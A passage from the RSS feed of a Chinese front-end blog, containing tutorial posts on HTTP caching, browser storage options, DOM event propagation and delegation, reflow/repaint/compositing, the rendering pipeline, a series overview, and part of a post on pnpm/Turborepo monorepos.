&lt;pre&gt;&lt;code&gt;请求：If-None-Match: &quot;&amp;lt;ETag值&amp;gt;&quot;
响应：304 Not Modified（无 body，极快）
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ETag&lt;/code&gt;：资源指纹，内容变则变。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Last-Modified&lt;/code&gt;：最后修改时间（精度低，文件 1 秒内改回原值会误判）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;服务端比对后发现没变 → 返回 &lt;code&gt;304&lt;/code&gt;，浏览器继续用本地副本。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;实践策略&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;带 hash 的静态资源&lt;/strong&gt;（如 &lt;code&gt;app.a1b2c3.js&lt;/code&gt;）：&lt;code&gt;Cache-Control: max-age=31536000, immutable&lt;/code&gt;。内容变→hash 变→URL 变→自动取新版，旧 URL 永久缓存安全。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTML（入口）&lt;/strong&gt;：&lt;code&gt;no-cache&lt;/code&gt; 或短缓存，确保能及时拿到新引用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CDN&lt;/strong&gt;：边缘节点缓存静态资源，用户就近取，延迟大降。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;本博客部署用 &lt;code&gt;contenthash&lt;/code&gt; 文件名正是为了这套缓存策略：内容不变 URL 不变，可放心长缓存。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;强缓存（max-age/immutable）：不发请求，最快。&lt;/li&gt;
&lt;li&gt;协商缓存（ETag/304）：发请求但省下载。&lt;/li&gt;
&lt;li&gt;带 hash 资源长缓存 + HTML 短缓存 = 安全又快的经典组合。&lt;/li&gt;
&lt;li&gt;CDN 把资源推到离用户更近的地方。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;给一个静态资源配 &lt;code&gt;Cache-Control: max-age=31536000, immutable&lt;/code&gt;，用 DevTools 看二次访问是否 200 (from cache)。&lt;/li&gt;
&lt;li&gt;改资源内容但保持文件名不变，观察协商缓存返回 304 还是重新下载。&lt;/li&gt;
&lt;li&gt;解释为什么 HTML 入口不宜设 &lt;code&gt;immutable&lt;/code&gt; 长缓存。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>04 · 浏览器存储</title><link>http://117.72.32.87/blog/posts/browser-roadmap-04-storage/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/browser-roadmap-04-storage/</guid><description>浏览器端存储方案对比：Cookie（带过期/同源策略/请求自动携带）、LocalStorage（持久、同源、5MB）、SessionStorage（标签页级）、IndexedDB（结构化、大容量、异步）。讲清各方案的边界与选型。</description><pubDate>Thu, 01 Oct 2026 10:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;为什么需要客户端存储&lt;/h2&gt;
&lt;p&gt;服务端是真相源，但很多场景要在客户端记点东西：登录态、用户偏好、离线缓存、草稿。浏览器提供了几层能力，各有适用边界。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;四种方案对比&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方案&lt;/th&gt;
&lt;th&gt;容量&lt;/th&gt;
&lt;th&gt;生命周期&lt;/th&gt;
&lt;th&gt;自动随请求发&lt;/th&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cookie&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;~4KB&lt;/td&gt;
&lt;td&gt;可设过期&lt;/td&gt;
&lt;td&gt;✅（同域请求头）&lt;/td&gt;
&lt;td&gt;字符串&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LocalStorage&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;~5MB&lt;/td&gt;
&lt;td&gt;永久（手动清）&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;字符串&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SessionStorage&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;~5MB&lt;/td&gt;
&lt;td&gt;标签页关闭即清&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;字符串&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IndexedDB&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;数百 MB+&lt;/td&gt;
&lt;td&gt;永久&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;结构化/二进制&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Cookie：最老但特殊&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;document.cookie = &quot;token=abc; max-age=3600; Secure; SameSite=Strict; Path=/&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;特点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每次同域请求&lt;strong&gt;自动带在请求头&lt;/strong&gt;，适合存登录态。&lt;/li&gt;
&lt;li&gt;容量小（~4KB），有安全属性：&lt;code&gt;HttpOnly&lt;/code&gt;（JS 读不到，防 XSS 偷）、&lt;code&gt;Secure&lt;/code&gt;（仅 HTTPS）、&lt;code&gt;SameSite&lt;/code&gt;（防 CSRF）。&lt;/li&gt;
&lt;li&gt;现代登录态更倾向存 &lt;code&gt;HttpOnly Cookie&lt;/code&gt;，而非 LocalStorage（后者易被 XSS 读走）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;LocalStorage / SessionStorage&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;localStorage.setItem(&quot;theme&quot;, &quot;dark&quot;);
localStorage.getItem(&quot;theme&quot;); // &quot;dark&quot;
// 只存字符串，对象需 JSON.stringify
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;LocalStorage 同源持久；SessionStorage 仅当前标签页（新开标签不共享）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;同步 API&lt;/strong&gt;，大量读写会阻塞；且同源下任何脚本可读，敏感信息别放这。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;IndexedDB：前端的&quot;数据库&quot;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const db = await idb.openDB(&quot;app&quot;, 1);
await db.put(&quot;drafts&quot;, { id: 1, text: &quot;...&quot; });
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;异步、支持事务、存结构化/二进制（Blob/ArrayBuffer），容量大。&lt;/li&gt;
&lt;li&gt;适合离线应用、缓存大体积数据、PWA 的本地存储。&lt;/li&gt;
&lt;li&gt;API 偏底层，常用 &lt;code&gt;idb&lt;/code&gt; 这类封装库。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;选型口诀&lt;/h2&gt;
&lt;p&gt;登录态 → &lt;code&gt;HttpOnly Cookie&lt;/code&gt;；用户偏好/轻量缓存 → &lt;code&gt;LocalStorage&lt;/code&gt;；标签页临时态 → &lt;code&gt;SessionStorage&lt;/code&gt;；大/结构化/离线 → &lt;code&gt;IndexedDB&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Cookie 小、随请求发、带安全属性，适合登录态。&lt;/li&gt;
&lt;li&gt;LocalStorage 持久同源，SessionStorage 标签页级。&lt;/li&gt;
&lt;li&gt;IndexedDB 大容量异步，适合离线/结构化数据。&lt;/li&gt;
&lt;li&gt;敏感信息别放可被 JS 读取的存储。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;比较把登录 token 存 LocalStorage 与 HttpOnly Cookie 在 XSS 下的风险差异。&lt;/li&gt;
&lt;li&gt;用 IndexedDB（或 idb 库）实现一个&quot;离线草稿箱&quot;，刷新后仍在。&lt;/li&gt;
&lt;li&gt;解释 SessionStorage 为什么&quot;新标签页打开同一 URL 不共享状态&quot;。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>03 · 事件机制</title><link>http://117.72.32.87/blog/posts/browser-roadmap-03-event-mechanism/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/browser-roadmap-03-event-mechanism/</guid><description>DOM 事件的捕获与冒泡三阶段模型，addEventListener 的第三个参数（capture/once/passive），事件委托的原理与性能价值，以及 passive  listener 解决滚动卡顿。</description><pubDate>Thu, 01 Oct 2026 09:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;一次点击走了三步&lt;/h2&gt;
&lt;p&gt;点击一个按钮，事件不是直接打到它，而是沿 DOM 树&lt;strong&gt;三阶段&lt;/strong&gt;传播：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;捕获阶段&lt;/strong&gt;：从 &lt;code&gt;window&lt;/code&gt; 向下到目标父级。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目标阶段&lt;/strong&gt;：到达被点的元素。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;冒泡阶段&lt;/strong&gt;：从目标向上回到 &lt;code&gt;window&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;el.addEventListener(&quot;click&quot;, handler, true);  // true=捕获阶段触发
el.addEventListener(&quot;click&quot;, handler);        // 默认冒泡阶段触发
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;事件委托：一个监听管一片&lt;/h2&gt;
&lt;p&gt;给 1000 个 &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; 各绑监听既费内存又难维护。利用冒泡，在&lt;strong&gt;父容器&lt;/strong&gt;上绑一个，靠 &lt;code&gt;event.target&lt;/code&gt; 判断谁被点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;list.addEventListener(&quot;click&quot;, e =&amp;gt; {
  const li = e.target.closest(&quot;li&quot;);
  if (li) handle(li);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;好处：动态增删子项无需重新绑事件，性能与可维护性双赢。这是 React 事件系统底层思路的来源之一。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;addEventListener 的进阶选项&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;el.addEventListener(&quot;scroll&quot;, onScroll, { passive: true }); // 告诉浏览器我不会 preventDefault
el.addEventListener(&quot;click&quot;, once, { once: true });          // 只触发一次后自动解绑
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;passive: true&lt;/code&gt; 关键&lt;/strong&gt;：移动端 &lt;code&gt;touchmove&lt;/code&gt;/&lt;code&gt;wheel&lt;/code&gt; 监听若调用 &lt;code&gt;preventDefault&lt;/code&gt; 会阻塞滚动。标记为 passive 后浏览器可放心异步滚动，消除卡顿（Chrome 对部分事件已默认 passive）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;止损与注意&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;委托时记得判断 &lt;code&gt;target&lt;/code&gt; 是否真是你想要的元素（&lt;code&gt;closest&lt;/code&gt; 兜底）。&lt;/li&gt;
&lt;li&gt;组件卸载要 &lt;code&gt;removeEventListener&lt;/code&gt; 解绑，否则内存泄漏。React 的 &lt;code&gt;useEffect&lt;/code&gt; 清理函数就是干这个。&lt;/li&gt;
&lt;li&gt;阻止冒泡用 &lt;code&gt;e.stopPropagation()&lt;/code&gt;，但别滥用——会打断上层逻辑（如全局点击关闭弹窗）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;事件三阶段：捕获 → 目标 → 冒泡。&lt;/li&gt;
&lt;li&gt;事件委托靠冒泡 + &lt;code&gt;closest&lt;/code&gt;，一个监听管全部子项。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;passive&lt;/code&gt; 让滚动事件不阻塞；&lt;code&gt;once&lt;/code&gt; 自动解绑。&lt;/li&gt;
&lt;li&gt;卸载时解绑监听，防止内存泄漏。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在父容器上用事件委托处理动态列表点击，对比&quot;每项是绑&quot;的内存差异。&lt;/li&gt;
&lt;li&gt;给 &lt;code&gt;wheel&lt;/code&gt; 监听加 &lt;code&gt;passive: true&lt;/code&gt;，用 Performance 看滚动是否仍流畅。&lt;/li&gt;
&lt;li&gt;在捕获阶段和冒泡阶段各绑一个监听，点击目标元素，观察打印顺序。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>02 · 重排、重绘与合成层</title><link>http://117.72.32.87/blog/posts/browser-roadmap-02-reflow-repaint/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/browser-roadmap-02-reflow-repaint/</guid><description>区分 Reflow（重排/布局）、Repaint（重绘）、Composite（合成）三者的代价差异；哪些属性触发哪种；用 transform/opacity 走 GPU 合成层避开昂贵的重排重绘；will-change 的正确用法。</description><pubDate>Thu, 01 Oct 2026 08:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;三个词的代价天差地别&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;操作&lt;/th&gt;
&lt;th&gt;触发&lt;/th&gt;
&lt;th&gt;代价&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Reflow 重排&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;改几何（宽高/位置/字号）&lt;/td&gt;
&lt;td&gt;最高：重算布局 + 重绘 + 合成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Repaint 重绘&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;改外观（颜色/背景）不涉及布局&lt;/td&gt;
&lt;td&gt;中：重绘 + 合成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Composite 合成&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;改 &lt;code&gt;transform&lt;/code&gt;/&lt;code&gt;opacity&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;最低：仅 GPU 合成层变换&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;口诀：&lt;strong&gt;能合成就别重绘，能重绘就别重排&lt;/strong&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;触发对比&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;.el { width: 100px; }      /* 改 width → Reflow（连锁 Repaint+Composite） */
.el { color: red; }        /* 改 color → Repaint */
.el { transform: translateX(10px); } /* 走合成层，仅 Composite */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;动画用 &lt;code&gt;transform&lt;/code&gt;/&lt;code&gt;opacity&lt;/code&gt; 而非 &lt;code&gt;left&lt;/code&gt;/&lt;code&gt;top&lt;/code&gt;/&lt;code&gt;width&lt;/code&gt;，因为前者只动合成层，丝滑且不阻塞主线程。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;合成层（Compositing Layer）&lt;/h2&gt;
&lt;p&gt;浏览器把某些元素提升为独立图层，由 GPU 单独处理。常见触发：3D transform、&lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt;、&lt;code&gt;will-change: transform&lt;/code&gt;、fixed 定位等。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.card { will-change: transform; } /* 提前提示浏览器为该元素建合成层 */
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;code&gt;will-change&lt;/code&gt; 别滥用：每个合成层占内存，建太多反而卡。用在有持续动画的元素上，动画结束移除。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;实战注意&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;批量改样式&lt;/strong&gt;：连续改多次几何属性会触发多次重排。读 &lt;code&gt;offsetWidth&lt;/code&gt; 再写样式会强制同步布局（强制重排），循环中尤其要避免&quot;读写读写&quot;交替。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;脱离文档流再改&lt;/strong&gt;：对要大幅变化的节点，先 &lt;code&gt;display:none&lt;/code&gt;（改完再恢复）可把重排限制在子树。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Reflow &amp;gt; Repaint &amp;gt; Composite 的代价递增方向反着记：Composite 最便宜。&lt;/li&gt;
&lt;li&gt;动画优先 transform/opacity，避开重排重绘。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;will-change&lt;/code&gt; 提示建层但别滥用，吃内存。&lt;/li&gt;
&lt;li&gt;避免循环里&quot;读写交替&quot;触发强制同步布局。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;用 DevTools Performance 录制：一个 &lt;code&gt;left&lt;/code&gt; 动画 vs 一个 &lt;code&gt;transform&lt;/code&gt; 动画，对比主线程占用。&lt;/li&gt;
&lt;li&gt;写一个循环，交替读 &lt;code&gt;offsetHeight&lt;/code&gt; 写样式，观察为何变慢；改成批量写后对比。&lt;/li&gt;
&lt;li&gt;给一个持续动画元素加 &lt;code&gt;will-change: transform&lt;/code&gt;，在 Layer 面板看是否生成独立层。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>01 · 渲染流水线</title><link>http://117.72.32.87/blog/posts/browser-roadmap-01-render-pipeline/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/browser-roadmap-01-render-pipeline/</guid><description>从输入 URL 到像素上屏：解析 HTML 建 DOM、CSSOM，合成渲染树，Layout 布局、Paint 绘制、Composite 合成。理解每个阶段的开销，才知道优化该压哪一环。</description><pubDate>Thu, 01 Oct 2026 07:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;一段&quot;看不见&quot;的旅程&lt;/h2&gt;
&lt;p&gt;你写 &lt;code&gt;index.html&lt;/code&gt; + &lt;code&gt;style.css&lt;/code&gt;，浏览器要把它变成屏幕上的像素，经历一条&lt;strong&gt;渲染流水线&lt;/strong&gt;。每一步都有成本，瓶颈常在某一环。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;流水线五阶段&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;解析 HTML → DOM&lt;/strong&gt;：字节流按标签解析成 DOM 树。JS 会阻塞解析（见下）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解析 CSS → CSSOM&lt;/strong&gt;：样式规则构造成 CSSOM 树。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;合成 Render Tree（渲染树）&lt;/strong&gt;：合并 DOM 与 CSSOM，&lt;strong&gt;只含可见节点&lt;/strong&gt;（&lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;、&lt;code&gt;:display:none&lt;/code&gt; 的都不进）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Layout（布局/重排）&lt;/strong&gt;：计算每个节点的几何位置与尺寸。最贵的一步之一。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Paint（绘制）&lt;/strong&gt;：把每个节点画成像素，生成绘制记录。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Composite（合成）&lt;/strong&gt;：把各层合并，提交 GPU 上屏。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;HTML ─┐
      ├─▶ DOM + CSSOM ─▶ Render Tree ─▶ Layout ─▶ Paint ─▶ Composite ─▶ 屏幕
CSS  ─┘
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;关键认知&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;JS 阻塞解析&lt;/strong&gt;：&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 默认会暂停 HTML 解析去执行，放底部或用 &lt;code&gt;defer&lt;/code&gt;/&lt;code&gt;async&lt;/code&gt; 避免。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CSS 阻塞渲染&lt;/strong&gt;：CSSOM 没建好，渲染树没法合成，所以 CSS 要尽早加载。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Layout 是重活&lt;/strong&gt;：改了几何属性（宽高、位置）触发 Layout，连锁影响后续 Paint/Composite。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;合成层走 GPU&lt;/strong&gt;：某些属性（transform/opacity）可单独合成，不触发 Layout/Paint，最快。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;渲染流水线：DOM+CSSOM → 渲染树 → Layout → Paint → Composite。&lt;/li&gt;
&lt;li&gt;JS 阻塞解析、CSS 阻塞渲染，二者都要早加载/异步化。&lt;/li&gt;
&lt;li&gt;Layout 最贵；transform/opacity 走合成层最快。&lt;/li&gt;
&lt;li&gt;优化要先判断瓶颈在 Layout / Paint / Composite 哪一步。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在 DevTools Performance 面板录制一次页面加载，对照各阶段耗时。&lt;/li&gt;
&lt;li&gt;把脚本从 &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; 移到 &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; 末尾，对比渲染开始时间。&lt;/li&gt;
&lt;li&gt;解释为什么 CSS 没加载完，页面会白屏而非显示无样式内容。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>浏览器与性能 · 路线总览</title><link>http://117.72.32.87/blog/posts/browser-roadmap-00-overview/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/browser-roadmap-00-overview/</guid><description>浏览器原理与 Web 性能学习路线总览：从渲染流水线、重排重绘、事件机制、浏览器存储，到网络缓存、跨域安全、性能指标、加载/运行时优化、Web Workers 与首屏实战。以十年前端视角，解释&quot;为什么卡、为什么慢、为什么白屏&quot;。</description><pubDate>Thu, 01 Oct 2026 06:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本系列共 &lt;strong&gt;12 篇&lt;/strong&gt;，是我做性能优化、排查&quot;白屏/卡顿&quot;那些年，一点点摸清的浏览器底细。懂了原理，优化才有方向，否则全是玄学。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;性能不是调参，是懂浏览器&lt;/h2&gt;
&lt;p&gt;新人优化靠&quot;听说加个 &lt;code&gt;will-change&lt;/code&gt;&quot;&quot;换个框架&quot;，结果没改善。真正的优化来自：&lt;strong&gt;知道代码在浏览器里怎么跑，瓶颈就在哪一环&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;浏览器与性能

├── 渲染原理
│   ├── 渲染流水线（DOM→绘制→合成）
│   ├── 重排 / 重绘 / 合成层
│   └── 事件机制（捕获/冒泡/委托）
├── 存储与网络
│   ├── 浏览器存储（Cookie/LS/IndexedDB）
│   ├── 网络与 HTTP 缓存
│   └── 跨域与安全（CORS/CSP/XSS/CSRF）
└── 性能优化
    ├── 性能指标（FCP/LCP/CLS/TTFB）
    ├── 加载性能优化
    ├── 运行时性能
    ├── Web Workers
    └── 首屏优化实战
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;我排查过最典型的几类问题&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;白屏&lt;/strong&gt;：资源 404 / JS 报错阻断渲染 / 大图阻塞首屏。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;卡顿&lt;/strong&gt;：长任务占主线程、频繁重排、滚动时大量 DOM 操作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;布局跳动&lt;/strong&gt;：图片无宽高导致 CLS 抖动，用户点错按钮。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;慢得离谱&lt;/strong&gt;：没开缓存、重复请求、未压缩资源。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;怎么读&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;01–03 是渲染与事件原理，优化的地基。&lt;/li&gt;
&lt;li&gt;04–06 是存储/网络/安全，前端绕不开。&lt;/li&gt;
&lt;li&gt;07–11 是性能优化实战，按指标驱动。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;p&gt;性能优化的前提是对浏览器运行机制有&quot;画面感&quot;。下一篇从最关键的——&lt;strong&gt;渲染流水线&lt;/strong&gt;讲起：从你写的 HTML/CSS/JS 到像素上屏，中间经历了什么。&lt;/p&gt;
</content:encoded></item><item><title>11 · Monorepo 实战</title><link>http://117.72.32.87/blog/posts/engineering-roadmap-11-monorepo/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/engineering-roadmap-11-monorepo/</guid><description>Monorepo 把多个关联包/应用放在一个仓库统一管理：pnpm workspace 做依赖提升与过滤，Turborepo 做任务编排与远程缓存。讲清它解决什么、又带来什么，以及&quot;小团队该不该上&quot;。</description><pubDate>Thu, 01 Oct 2026 05:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;多仓库的痛&lt;/h2&gt;
&lt;p&gt;公司有 &lt;code&gt;ui-lib&lt;/code&gt;、&lt;code&gt;utils&lt;/code&gt;、&lt;code&gt;web-app&lt;/code&gt;、&lt;code&gt;admin&lt;/code&gt; 四个包，分散四个仓库：改了 &lt;code&gt;utils&lt;/code&gt; 的 API，要发版 → 另三个仓库逐个升级 → 版本对不齐，一天耗在&quot;对齐版本&quot;。&lt;strong&gt;Monorepo 让它们在同一仓库、共享一份代码、原子化改动&lt;/strong&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;pnpm workspace：依赖与过滤&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;pnpm-workspace.yaml&lt;/code&gt; 声明包含哪些包：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;packages:
  - &quot;packages/*&quot;
  - &quot;apps/*&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;依赖提升&lt;/strong&gt;：公共依赖只在根装一份，各包共享，磁盘与安装速度双优。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;跨包引用&lt;/strong&gt;：&lt;code&gt;packages/utils&lt;/code&gt; 可直接被 &lt;code&gt;apps/web&lt;/code&gt; 以 workspace 协议引用，改了立刻生效，无需发版。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;过滤执行&lt;/strong&gt;：&lt;code&gt;pnpm --filter web... build&lt;/code&gt; 只构建 &lt;code&gt;web&lt;/code&gt; 及其依赖。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Turborepo：任务编排 + 缓存&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// turbo.json
{
  &quot;pipeline&quot;: {
    &quot;build&quot;: { &quot;dependsOn&quot;: [&quot;^build&quot;], &quot;outputs&quot;: [&quot;dist/**&quot;] }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;^build&lt;/code&gt; 表示&quot;先构建我依赖的包&quot;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缓存&lt;/strong&gt;：任务输入（源码、配置）不变就直接复用上次产物（本地 + 远程缓存），CI 大幅提速。&lt;/li&gt;
&lt;li&gt;只跑受影响的包，无关包跳过。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;收益与代价&lt;/h2&gt;
&lt;p&gt;收益：原子改动跨包、统一工具链、共享类型、一致规范。
代价：&lt;strong&gt;仓库变大、CI 更复杂、需要工具约束&lt;/strong&gt;（否则所有人改同一 repo 易冲突）。小团队（&amp;lt;5 人、包间耦合低）往往用多仓库 + 清晰的发版流程更轻。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Monorepo 解决&quot;多关联包版本对齐、原子改动&quot;的协作痛。&lt;/li&gt;
&lt;li&gt;pnpm workspace 管依赖与过滤；Turborepo 管任务编排与缓存。&lt;/li&gt;
&lt;li&gt;适合中大型、包耦合高的团队；小团队先评估是否过度。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
